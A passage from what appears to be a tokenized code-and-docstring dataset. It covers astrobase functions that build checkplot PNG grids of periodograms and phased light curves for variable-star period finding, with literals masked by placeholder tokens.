<NUM_LIT:0.5>*npabs(axesylim[<NUM_LIT:1>]-axesylim[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>axes.set_ylim(axesylim[<NUM_LIT:0>],<EOL>axesylim[<NUM_LIT:1>] - <NUM_LIT:0.5>*npabs(axesylim[<NUM_LIT:1>]-axesylim[<NUM_LIT:0>]))<EOL><DEDENT>inset = inset_axes(axes, width=\"<STR_LIT>\", height=\"<STR_LIT>\", loc=<NUM_LIT:1>)<EOL>inset.plot(plotphase,<EOL>plotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL>if phasebin:<EOL><INDENT>inset.plot(binplotphase,<EOL>binplotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL><DEDENT>if phasewrap:<EOL><INDENT>inset.set_xlim(-<NUM_LIT>,<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>inset.set_xlim(-<NUM_LIT:0.1>,<NUM_LIT>)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>inset_ylim = inset.get_ylim()<EOL>inset.set_ylim((inset_ylim[<NUM_LIT:1>], inset_ylim[<NUM_LIT:0>]))<EOL><DEDENT>inset.text(<NUM_LIT:0.5>,<NUM_LIT:0.1>,'<STR_LIT>',<EOL>ha='<STR_LIT>',va='<STR_LIT>',transform=inset.transAxes)<EOL>inset.set_xticks([])<EOL>inset.set_yticks([])<EOL><DEDENT>", "docstring": "Makes the phased magseries plot tile for the `checkplot_png` and\n    `twolsp_checkplot_png` functions.\n\n    Parameters\n    ----------\n\n    axes : matplotlib.axes.Axes object\n        The Axes object where the generated plot will be written.\n\n    periodind : int\n        The index of the current best period being processed in the lspinfo\n        dict.\n\n    stimes,smags,serrs : np.array\n        The mag/flux time-series arrays along with associated errors. These\n        should all have been run through nan-stripping and sigma-clipping\n        beforehand.\n\n    varperiod : float or None\n        The period to use for this phased light curve plot tile.\n\n    varepoch : 'min' or float or list of lists or None\n        The epoch to use for this phased light curve plot tile. If this is a\n        float, will use the provided value directly. If this is 'min', will\n        automatically figure out the time-of-minimum of the phased light\n        curve. If this is None, will use the mimimum value of `stimes` as the\n        epoch of the phased light curve plot. If this is a list of lists, will\n        use the provided value of `lspmethodind` to look up the current\n        period-finder method and the provided value of `periodind` to look up\n        the epoch associated with that method and the current period. This is\n        mostly only useful when `twolspmode` is True.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around\n        phase 0.0.\n\n    phasesort : bool\n        If True, will sort the phased light curve in order of increasing phase.\n\n    phasebin: float\n        The bin size to use to group together measurements closer than this\n        amount in phase. This is in units of phase. If this is a float, a\n        phase-binned version of the phased light curve will be overplotted on\n        top of the regular phased light curve.\n\n    minbinelems : int\n        The minimum number of elements required per phase bin to include it in\n        the phased LC plot.\n\n    plotxlim : sequence of two floats or None\n        The x-range (min, max) of the phased light curve plot. If None, will be\n        determined automatically.\n\n    lspmethod : str\n        One of the three-letter keys corresponding to period-finder method names\n        in the `astrobase.plotbase.METHODSHORTLABELS` dict. Used to set the plot\n        title correctly.\n\n    lspmethodind : int\n        If `twolspmode` is set, this will be used to look up the correct epoch\n        associated with the current period-finder method and period.\n\n    xliminsetmode : bool\n        If this is True, the generated phased light curve plot will use the\n        values of `plotxlim` as the main plot x-axis limits (i.e. zoomed-in if\n        `plotxlim` is a range smaller than the full phase range), and will show\n        the full phased light curve plot as an smaller inset. Useful for\n        planetary transit light curves.\n\n    twolspmode : bool\n        If this is True, will use the `lspmethodind` and `periodind` to look up\n        the correct values of epoch, etc. in the provided `varepoch` list of\n        lists for plotting purposes.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    verbose : bool\n        If True, indicates progress.\n\n    phasems : float\n        The marker size to use for the main phased light curve plot symbols.\n\n    phasebinms : float\n        The marker size to use for the binned phased light curve plot symbols.\n\n    Returns\n    -------\n\n    Does not return anything, works on the input Axes object directly.", "id": "f14722:m2"}
{"signature": "def checkplot_png(lspinfo,<EOL>times,<EOL>mags,<EOL>errs,<EOL>varepoch='<STR_LIT>',<EOL>magsarefluxes=False,<EOL>objectinfo=None,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>findercachedir='<STR_LIT>',<EOL>normto='<STR_LIT>',<EOL>normmingap=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>phasewrap=True,<EOL>phasesort=True,<EOL>phasebin=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>,<EOL>plotxlim=(-<NUM_LIT>,<NUM_LIT>),<EOL>xliminsetmode=False,<EOL>bestperiodhighlight=None,<EOL>plotdpi=<NUM_LIT:100>,<EOL>outfile=None,<EOL>verbose=True):", "body": "if not outfile and isinstance(lspinfo,str):<EOL><INDENT>plotfpath = os.path.join(<EOL>os.path.dirname(lspinfo),<EOL>'<STR_LIT>' % (<EOL>os.path.basename(lspinfo),<EOL>)<EOL>)<EOL><DEDENT>elif outfile:<EOL><INDENT>plotfpath = outfile<EOL><DEDENT>else:<EOL><INDENT>plotfpath = '<STR_LIT>'<EOL><DEDENT>if isinstance(lspinfo,str) and os.path.exists(lspinfo):<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % lspinfo)<EOL><DEDENT>if '<STR_LIT>' in lspinfo:<EOL><INDENT>with gzip.open(lspinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo = pickle.load(infd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(lspinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo = pickle.load(infd)<EOL><DEDENT><DEDENT><DEDENT>if ('<STR_LIT>' in lspinfo and<EOL>'<STR_LIT>' in lspinfo and<EOL>'<STR_LIT>' in lspinfo):<EOL><INDENT>bestperiod = lspinfo['<STR_LIT>']<EOL>nbestperiods = lspinfo['<STR_LIT>']<EOL>lspmethod = lspinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>if not npisfinite(bestperiod):<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>return None<EOL><DEDENT>fig, axes = plt.subplots(<NUM_LIT:3>,<NUM_LIT:3>)<EOL>axes = npravel(axes)<EOL>fig.set_size_inches(<NUM_LIT:30>,<NUM_LIT>)<EOL>_make_periodogram(axes[<NUM_LIT:0>],lspinfo,objectinfo,<EOL>findercmap, finderconvolve,<EOL>verbose=verbose,<EOL>findercachedir=findercachedir)<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if normto is not False:<EOL><INDENT>stimes, smags = normalize_magseries(stimes, smags,<EOL>normto=normto,<EOL>magsarefluxes=magsarefluxes,<EOL>mingap=normmingap)<EOL><DEDENT>if len(stimes) >= <NUM_LIT:50>:<EOL><INDENT>_make_magseries_plot(axes[<NUM_LIT:1>], stimes, smags, serrs,<EOL>magsarefluxes=magsarefluxes)<EOL>lspbestperiods = nbestperiods[::]<EOL>lspperiodone = lspbestperiods[<NUM_LIT:0>]<EOL>lspbestperiods.insert(<NUM_LIT:1>,lspperiodone*<NUM_LIT>)<EOL>lspbestperiods.insert(<NUM_LIT:1>,lspperiodone*<NUM_LIT:0.5>)<EOL>for periodind, varperiod in enumerate(lspbestperiods):<EOL><INDENT>if periodind == <NUM_LIT:0> and bestperiodhighlight:<EOL><INDENT>if MPLVERSION >= (<NUM_LIT:2>,<NUM_LIT:0>,<NUM_LIT:0>):<EOL><INDENT>axes[periodind+<NUM_LIT:2>].set_facecolor(bestperiodhighlight)<EOL><DEDENT>else:<EOL><INDENT>axes[periodind+<NUM_LIT:2>].set_axis_bgcolor(bestperiodhighlight)<EOL><DEDENT><DEDENT>_make_phased_magseries_plot(axes[periodind+<NUM_LIT:2>],<EOL>periodind,<EOL>stimes, smags, serrs,<EOL>varperiod, varepoch,<EOL>phasewrap, phasesort,<EOL>phasebin, minbinelems,<EOL>plotxlim, lspmethod,<EOL>xliminsetmode=xliminsetmode,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL><DEDENT>fig.set_tight_layout(True)<EOL>if plotfpath.endswith('<STR_LIT>'):<EOL><INDENT>fig.savefig(plotfpath,dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>fig.savefig(plotfpath)<EOL><DEDENT>plt.close('<STR_LIT:all>')<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % plotfpath)<EOL><DEDENT>return plotfpath<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>for periodind in range(<NUM_LIT:5>):<EOL><INDENT>axes[periodind+<NUM_LIT:2>].text(<EOL><NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>('<STR_LIT>'),<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>',<EOL>transform=axes[periodind+<NUM_LIT:2>].transAxes<EOL>)<EOL><DEDENT>fig.set_tight_layout(True)<EOL>if plotfpath.endswith('<STR_LIT>'):<EOL><INDENT>fig.savefig(plotfpath, dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>fig.savefig(plotfpath)<EOL><DEDENT>plt.close('<STR_LIT:all>')<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % plotfpath)<EOL><DEDENT>return plotfpath<EOL><DEDENT>", "docstring": "This makes a checkplot PNG using the output from a period-finder routine.\n\n    A checkplot is a 3 x 3 grid of plots like so::\n\n        [periodogram + objectinfo] [     unphased LC     ] [period 1 phased LC]\n        [  period 1 phased LC /2 ] [period 1 phased LC x2] [period 2 phased LC]\n        [   period 3 phased LC   ] [period 4 phased LC   ] [period 5 phased LC]\n\n    This is used to sanity check the five best periods obtained from a\n    period-finder function in `astrobase.periodbase` or from your own\n    period-finder routines if their results can be turned into a dict with the\n    format shown below.\n\n    Parameters\n    ----------\n\n    lspinfo : dict or str\n        If this is a dict, it must be a dict produced by an\n        `astrobase.periodbase` period-finder function or a dict from your own\n        period-finder function or routine that is of the form below with at\n        least these keys::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above}\n\n        `nbestperiods` and `nbestlspvals` must have at least 5 elements each,\n        e.g. describing the five 'best' (highest power) peaks in the\n        periodogram.\n\n        If lspinfo is a str, then it must be a path to a pickle file (ending\n        with the extension '.pkl' or '.pkl.gz') that contains a dict of the form\n        described above.\n\n    times,mags,errs : np.array\n        The mag/flux time-series arrays to process along with associated errors.\n\n    varepoch : 'min' or float or None or list of lists\n        This sets the time of minimum light finding strategy for the checkplot::\n\n                                                   the epoch used for all phased\n            If `varepoch` is None               -> light curve plots will be\n                                                   `min(times)`.\n\n            If `varepoch='min'`                 -> automatic epoch finding for all\n                                                   periods using light curve fits.\n\n            If varepoch is a single float       -> this epoch will be used for all\n                                                   phased light curve plots\n\n            If varepoch is a list of floats        each epoch will be applied to\n            with length = `len(nbestperiods)+2` -> the phased light curve for each\n            from period-finder results             period specifically\n\n        If you use a list for varepoch, it must be of length\n        `len(lspinfo['nbestperiods']) + 2`, because we insert half and twice the\n        period into the best periods list to make those phased LC plots.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    objectinfo : dict or None\n        If provided, this is a dict containing information on the object whose\n        light curve is being processed. This function will then be able to look\n        up and download a finder chart for this object and write that to the\n        output checkplot PNG image.The `objectinfo` dict must be of the form and\n        contain at least the keys described below::\n\n            {'objectid': the name of the object,\n             'ra': the right ascension of the object in decimal degrees,\n             'decl': the declination of the object in decimal degrees,\n             'ndet': the number of observations of this object}\n\n        You can also provide magnitudes and proper motions of the object using\n        the following keys and the appropriate values in the `objectinfo`\n        dict. These will be used to calculate colors, total and reduced proper\n        motion, etc. and display these in the output checkplot PNG.\n\n        - SDSS mag keys: 'sdssu', 'sdssg', 'sdssr', 'sdssi', 'sdssz'\n        - 2MASS mag keys: 'jmag', 'hmag', 'kmag'\n        - Cousins mag keys: 'bmag', 'vmag'\n        - GAIA specific keys: 'gmag', 'teff'\n        - proper motion keys: 'pmra', 'pmdecl'\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    findercachedir : str\n        The directory where the FITS finder images are downloaded and cached.\n\n    normto : {'globalmedian', 'zero'} or a float\n        This sets the normalization target::\n\n            'globalmedian' -> norms each mag to global median of the LC column\n            'zero'         -> norms each mag to zero\n            a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around phase\n        0.0.\n\n    phasesort : bool\n        If this is True, the phased time-series will be sorted in phase.\n\n    phasebin : float or None\n        If this is provided, indicates the bin size to use to group together\n        measurements closer than this amount in phase. This is in units of\n        phase. The binned phased light curve will be overplotted on top of the\n        phased light curve. Useful for when one has many measurement points and\n        needs to pick out a small trend in an otherwise noisy phased light\n        curve.\n\n    minbinelems : int\n        The minimum number of elements in each phase bin.\n\n    plotxlim : sequence of two floats or None\n        The x-axis limits to use when making the phased light curve plot. By\n        default, this is (-0.8, 0.8), which places phase 0.0 at the center of\n        the plot and covers approximately two cycles in phase to make any trends\n        clear.\n\n    xliminsetmode : bool\n        If this is True, the generated phased light curve plot will use the\n        values of `plotxlim` as the main plot x-axis limits (i.e. zoomed-in if\n        `plotxlim` is a range smaller than the full phase range), and will show\n        the full phased light curve plot as an smaller inset. Useful for\n        planetary transit light curves.\n\n    bestperiodhighlight : str or None\n        If not None, this is a str with a matplotlib color specification to use\n        as the background color to highlight the phased light curve plot of the\n        'best' period and epoch combination. If None, no highlight will be\n        applied.\n\n    outfile : str or None\n        The file name of the file to save the checkplot to. If this is None,\n        will write to a file called 'checkplot.png' in the current working\n        directory.\n\n    plotdpi : int\n        Sets the resolution in DPI for PNG plots (default = 100).\n\n    verbose : bool\n        If False, turns off many of the informational messages. Useful for\n        when an external function is driving lots of `checkplot_png` calls.\n\n    Returns\n    -------\n\n    str\n        The file path to the generated checkplot PNG file.", "id": "f14722:m3"}
{"signature": "def twolsp_checkplot_png(lspinfo1,<EOL>lspinfo2,<EOL>times,<EOL>mags,<EOL>errs,<EOL>varepoch='<STR_LIT>',<EOL>magsarefluxes=False,<EOL>objectinfo=None,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>findercachedir='<STR_LIT>',<EOL>normto='<STR_LIT>',<EOL>normmingap=<NUM_LIT>,<EOL>sigclip=<NUM_LIT>,<EOL>phasewrap=True,<EOL>phasesort=True,<EOL>phasebin=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>,<EOL>plotxlim=(-<NUM_LIT>,<NUM_LIT>),<EOL>unphasedms=<NUM_LIT>,<EOL>phasems=<NUM_LIT>,<EOL>phasebinms=<NUM_LIT>,<EOL>xliminsetmode=False,<EOL>bestperiodhighlight=None,<EOL>plotdpi=<NUM_LIT:100>,<EOL>outfile=None,<EOL>verbose=True):", "body": "<EOL>if not outfile and isinstance(lspinfo1,str):<EOL><INDENT>plotfpath = os.path.join(<EOL>os.path.dirname(lspinfo1),<EOL>'<STR_LIT>' % (<EOL>os.path.basename(lspinfo1),<EOL>)<EOL>)<EOL><DEDENT>elif outfile:<EOL><INDENT>plotfpath = outfile<EOL><DEDENT>else:<EOL><INDENT>plotfpath = '<STR_LIT>'<EOL><DEDENT>if isinstance(lspinfo1,str) and os.path.exists(lspinfo1):<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % lspinfo1)<EOL><DEDENT>if '<STR_LIT>' in lspinfo1:<EOL><INDENT>with gzip.open(lspinfo1,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo1 = pickle.load(infd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(lspinfo1,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo1 = pickle.load(infd)<EOL><DEDENT><DEDENT><DEDENT>if isinstance(lspinfo2,str) and os.path.exists(lspinfo2):<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % lspinfo2)<EOL><DEDENT>if '<STR_LIT>' in lspinfo2:<EOL><INDENT>with gzip.open(lspinfo2,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo2 = pickle.load(infd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(lspinfo2,'<STR_LIT:rb>') as infd:<EOL><INDENT>lspinfo2 = pickle.load(infd)<EOL><DEDENT><DEDENT><DEDENT>if ('<STR_LIT>' in lspinfo1 and '<STR_LIT>' in lspinfo2 and<EOL>'<STR_LIT>' in lspinfo1 and '<STR_LIT>' in lspinfo2 and<EOL>'<STR_LIT>' in lspinfo1 and '<STR_LIT>' in lspinfo2):<EOL><INDENT>bestperiod1 = lspinfo1['<STR_LIT>']<EOL>nbestperiods1 = lspinfo1['<STR_LIT>']<EOL>lspmethod1 = lspinfo1['<STR_LIT>']<EOL>bestperiod2 = lspinfo2['<STR_LIT>']<EOL>nbestperiods2 = lspinfo2['<STR_LIT>']<EOL>lspmethod2 = lspinfo2['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>if (not npisfinite(bestperiod1)) or (not npisfinite(bestperiod2)):<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>return None<EOL><DEDENT>fig, axes = plt.subplots(<NUM_LIT:3>,<NUM_LIT:3>)<EOL>axes = npravel(axes)<EOL>fig.set_size_inches(<NUM_LIT:30>,<NUM_LIT>)<EOL>_make_periodogram(axes[<NUM_LIT:0>], lspinfo1, objectinfo,<EOL>findercmap, finderconvolve,<EOL>verbose=verbose,<EOL>findercachedir=findercachedir)<EOL>_make_periodogram(axes[<NUM_LIT:1>], lspinfo2, None,<EOL>findercmap, finderconvolve)<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if normto is not False:<EOL><INDENT>stimes, smags = normalize_magseries(stimes, smags,<EOL>normto=normto,<EOL>magsarefluxes=magsarefluxes,<EOL>mingap=normmingap)<EOL><DEDENT>if len(stimes) >= <NUM_LIT:50>:<EOL><INDENT>_make_magseries_plot(axes[<NUM_LIT:2>], stimes, smags, serrs,<EOL>magsarefluxes=magsarefluxes,<EOL>ms=unphasedms)<EOL>lspbestperiods1 = nbestperiods1[::]<EOL>lspbestperiods2 = nbestperiods2[::]<EOL>for periodind, varperiod, plotaxes in zip([<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>],<EOL>lspbestperiods1[:<NUM_LIT:3>],<EOL>[axes[<NUM_LIT:3>], axes[<NUM_LIT:4>], axes[<NUM_LIT:5>]]):<EOL><INDENT>if periodind == <NUM_LIT:0> and bestperiodhighlight:<EOL><INDENT>if MPLVERSION >= (<NUM_LIT:2>,<NUM_LIT:0>,<NUM_LIT:0>):<EOL><INDENT>plotaxes.set_facecolor(bestperiodhighlight)<EOL><DEDENT>else:<EOL><INDENT>plotaxes.set_axis_bgcolor(bestperiodhighlight)<EOL><DEDENT><DEDENT>_make_phased_magseries_plot(plotaxes,<EOL>periodind,<EOL>stimes, smags, serrs,<EOL>varperiod, varepoch,<EOL>phasewrap, phasesort,<EOL>phasebin, minbinelems,<EOL>plotxlim, lspmethod1,<EOL>lspmethodind=<NUM_LIT:0>,<EOL>twolspmode=True,<EOL>magsarefluxes=magsarefluxes,<EOL>xliminsetmode=xliminsetmode,<EOL>verbose=verbose,<EOL>phasems=phasems,<EOL>phasebinms=phasebinms)<EOL><DEDENT>for periodind, varperiod, plotaxes in zip([<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>],<EOL>lspbestperiods2[:<NUM_LIT:3>],<EOL>[axes[<NUM_LIT:6>], axes[<NUM_LIT:7>], axes[<NUM_LIT:8>]]):<EOL><INDENT>if periodind == <NUM_LIT:0> and bestperiodhighlight:<EOL><INDENT>if MPLVERSION >= (<NUM_LIT:2>,<NUM_LIT:0>,<NUM_LIT:0>):<EOL><INDENT>plotaxes.set_facecolor(bestperiodhighlight)<EOL><DEDENT>else:<EOL><INDENT>plotaxes.set_axis_bgcolor(bestperiodhighlight)<EOL><DEDENT><DEDENT>_make_phased_magseries_plot(plotaxes,<EOL>periodind,<EOL>stimes, smags, serrs,<EOL>varperiod, varepoch,<EOL>phasewrap, phasesort,<EOL>phasebin, minbinelems,<EOL>plotxlim, lspmethod2,<EOL>lspmethodind=<NUM_LIT:1>,<EOL>twolspmode=True,<EOL>magsarefluxes=magsarefluxes,<EOL>xliminsetmode=xliminsetmode,<EOL>verbose=verbose,<EOL>phasems=phasems,<EOL>phasebinms=phasebinms)<EOL><DEDENT>fig.set_tight_layout(True)<EOL>if plotfpath.endswith('<STR_LIT>'):<EOL><INDENT>fig.savefig(plotfpath,dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>fig.savefig(plotfpath)<EOL><DEDENT>plt.close()<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % plotfpath)<EOL><DEDENT>return plotfpath<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>for periodind in range(<NUM_LIT:5>):<EOL><INDENT>axes[periodind+<NUM_LIT:2>].text(<EOL><NUM_LIT:0.5>,<NUM_LIT:0.5>,<EOL>('<STR_LIT>'),<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>',<EOL>transform=axes[periodind+<NUM_LIT:2>].transAxes<EOL>)<EOL><DEDENT>fig.set_tight_layout(True)<EOL>if plotfpath.endswith('<STR_LIT>'):<EOL><INDENT>fig.savefig(plotfpath, dpi=plotdpi)<EOL><DEDENT>else:<EOL><INDENT>fig.savefig(plotfpath)<EOL><DEDENT>plt.close()<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % plotfpath)<EOL><DEDENT>return plotfpath<EOL><DEDENT>", "docstring": "This makes a checkplot using results from two independent period-finders.\n\n    Adapted from Luke Bouma's implementation of a similar function in his\n    work. This makes a special checkplot that uses two lspinfo dictionaries,\n    from two independent period-finding methods. For EBs, it's probably best to\n    use Stellingwerf PDM or Schwarzenberg-Czerny AoV as one of these, and the\n    Box Least-squared Search method as the other one.\n\n    The checkplot layout in this case is::\n\n        [ pgram1 + objectinfo ] [        pgram2       ] [     unphased LC     ]\n        [ pgram1 P1 phased LC ] [ pgram1 P2 phased LC ] [ pgram1 P3 phased LC ]\n        [ pgram2 P1 phased LC ] [ pgram2 P2 phased LC ] [ pgram2 P3 phased LC ]\n\n    where:\n\n    - pgram1 is the plot for the periodogram in the lspinfo1 dict\n    - pgram1 P1, P2, and P3 are the best three periods from lspinfo1\n    - pgram2 is the plot for the periodogram in the lspinfo2 dict\n    - pgram2 P1, P2, and P3 are the best three periods from lspinfo2\n\n    Note that we take the output file name from lspinfo1 if lspinfo1 is a string\n    filename pointing to a (gzipped) pickle containing the results dict from a\n    period-finding routine similar to those in periodbase.\n\n    Parameters\n    ----------\n\n    lspinfo1,lspinfo2 : dict or str\n        If this is a dict, it must be a dict produced by an\n        `astrobase.periodbase` period-finder function or a dict from your own\n        period-finder function or routine that is of the form below with at\n        least these keys::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above}\n\n        `nbestperiods` and `nbestlspvals` must have at least 3 elements each,\n        e.g. describing the three 'best' (highest power) peaks in the\n        periodogram.\n\n        If lspinfo is a str, then it must be a path to a pickle file (ending\n        with the extension '.pkl' or '.pkl.gz') that contains a dict of the form\n        described above.\n\n    times,mags,errs : np.array\n        The mag/flux time-series arrays to process along with associated errors.\n\n    varepoch : 'min' or float or None or list of lists\n        This sets the time of minimum light finding strategy for the checkplot::\n\n                                                   the epoch used for all phased\n            If `varepoch` is None               -> light curve plots will be\n                                                   `min(times)`.\n\n            If `varepoch='min'`                 -> automatic epoch finding for all\n                                                   periods using light curve fits.\n\n            If varepoch is a single float       -> this epoch will be used for all\n                                                   phased light curve plots\n\n            If varepoch is a list of floats        each epoch will be applied to\n            with length = `len(nbestperiods)` ->   the phased light curve for each\n            from period-finder results             period specifically\n\n        If you use a list for varepoch, it must be of length\n        `len(lspinfo['nbestperiods'])`.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately/\n\n    objectinfo : dict or None\n        If provided, this is a dict containing information on the object whose\n        light curve is being processed. This function will then be able to look\n        up and download a finder chart for this object and write that to the\n        output checkplot PNG image.The `objectinfo` dict must be of the form and\n        contain at least the keys described below::\n\n            {'objectid': the name of the object,\n             'ra': the right ascension of the object in decimal degrees,\n             'decl': the declination of the object in decimal degrees,\n             'ndet': the number of observations of this object}\n\n        You can also provide magnitudes and proper motions of the object using\n        the following keys and the appropriate values in the `objectinfo`\n        dict. These will be used to calculate colors, total and reduced proper\n        motion, etc. and display these in the output checkplot PNG.\n\n        - SDSS mag keys: 'sdssu', 'sdssg', 'sdssr', 'sdssi', 'sdssz'\n        - 2MASS mag keys: 'jmag', 'hmag', 'kmag'\n        - Cousins mag keys: 'bmag', 'vmag'\n        - GAIA specific keys: 'gmag', 'teff'\n        - proper motion keys: 'pmra', 'pmdecl'\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    findercachedir : str\n        The directory where the FITS finder images are downloaded and cached.\n\n    normto : {'globalmedian', 'zero'} or a float\n        This sets the LC normalization target::\n\n            'globalmedian' -> norms each mag to global median of the LC column\n            'zero'         -> norms each mag to zero\n            a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around phase\n        0.0.\n\n    phasesort : bool\n        If this is True, the phased time-series will be sorted in phase.\n\n    phasebin : float or None\n        If this is provided, indicates the bin size to use to group together\n        measurements closer than this amount in phase. This is in units of\n        phase. The binned phased light curve will be overplotted on top of the\n        phased light curve. Useful for when one has many measurement points and\n        needs to pick out a small trend in an otherwise noisy phased light\n        curve.\n\n    minbinelems : int\n        The minimum number of elements in each phase bin.\n\n    plotxlim : sequence of two floats or None\n        The x-axis limits to use when making the phased light curve plot. By\n        default, this is (-0.8, 0.8), which places phase 0.0 at the center of\n        the plot and covers approximately two cycles in phase to make any trends\n        